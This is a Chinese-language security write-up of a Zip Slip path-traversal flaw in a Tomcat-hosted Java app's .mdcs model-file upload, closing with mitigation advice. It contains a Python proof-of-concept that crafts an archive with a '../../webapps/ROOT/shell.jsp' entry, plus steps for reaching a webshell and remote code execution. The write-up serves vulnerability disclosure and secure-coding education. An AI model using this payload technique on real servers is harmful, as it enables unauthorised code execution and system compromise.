在对一个基于Java的Web应用进行灰盒安全评估时,我发现了一个支持模型导入/导出的功能。该功能允许用户上传扩展名为 .mdcs 的模型文件。在分析此功能时,我重点关注了应用如何处理上传的文件,因为对归档或序列化数据处理不当,往往会引入严重的安全风险。
漏洞分析
在测试过程中,我们发现应用接受 .mdcs 文件的上传。这些文件本质上就是 ZIP压缩包 。应用在处理前会进行基本的扩展名校验。
PS:本报告中引用的代码片段仅用于模拟,不代表实际生产代码。

文件扩展名通过校验后,应用会在 Tomcat 的临时目录下创建一个临时目录,将 .mdcs (ZIP) 文件的内容解压至此,然后尝试读取解压数据中的特定文件(如 metadata.json)。处理完成后,该临时目录会被删除。

初看之下,这种设计似乎安全,因为临时目录位于 Tomcat 的 webapps 目录之外,意味着任意上传的文件无法通过 Web 服务器直接访问。然而,这种假设存在一个致命的缺陷,即众所周知的 ZIP滑移漏洞。
漏洞原理与利用开发
在默认的 Tomcat 安装中,临时目录结构通常如下:
C:\tomcat\temp\mdcs_<random_string>\
应用使用 ZipInputStream(或类似API)提取文件,但并未正确验证压缩包内条目的文件路径。这使得攻击者可以精心构造一个包含路径遍历序列(例如 ../../)条目名的ZIP文件。
利用此漏洞,攻击者可以使应用程序将文件提取到预期的临时目录之外。例如,通过将恶意 JSP 文件(shell.jsp)嵌入ZIP压缩包,并将该条目命名为:
../../webapps/ROOT/shell.jsp
该文件将被解压到已部署的 Tomcat Web 应用程序目录中。一旦上传并处理完毕,攻击者便可通过 Web 服务器直接访问此 JSP 文件,从而有效地实现远程代码执行。
概念验证(PoC)
以下是一个简单的 Python 脚本,用于生成包含恶意负载的 ZIP 文件:
import zipfile
import os
def create_zip(payload_path, output_zip):
with zipfile.ZipFile(output_zip, 'w') as zipf:
with open(payload_path, 'rb') as f:
payload = f.read()
zi = zipfile.ZipInfo("../../webapps/ROOT/shell.jsp")
zipf.writestr(zi, payload)
if __name__ == "__main__":
create_zip("shell.jsp", "exploit.mdcs")
print("[+] Malicious MDCS created: exploit.mdcs")
利用流程:
- 攻击者使用上述脚本生成恶意的
.mdcs 模型文件(ZIP格式)。
- 将此文件上传到目标应用程序。
- 存在漏洞的提取逻辑会将
shell.jsp 文件写入到 webapps/ROOT/ 或 webapps/app-name/ 目录下。
- 攻击者访问
http://target/shell.jsp 或 http://target/app-name/shell.jsp 以执行任意命令。
这将导致在目标服务器上实现完全的远程代码执行(RCE)。
结论
此次发现的安全漏洞清晰地表明,在文件提取过程中缺乏充分的路径验证会带来严重的安全风险。攻击者利用 .mdcs 文件上传功能发起 ZIP 滑移攻击,可以绕过目录限制,将任意文件(如恶意的 JSP Webshell)写入 Tomcat 环境中的敏感位置,最终导致完全权限的远程代码执行。
安全开发中,对于任何文件解压操作,都必须对压缩包内的条目名进行规范化并严格校验,确保解压路径不会逃逸出目标目录。希望本次漏洞分析能为开发者们敲响警钟。更多安全技术深度讨论,欢迎访问云栈社区。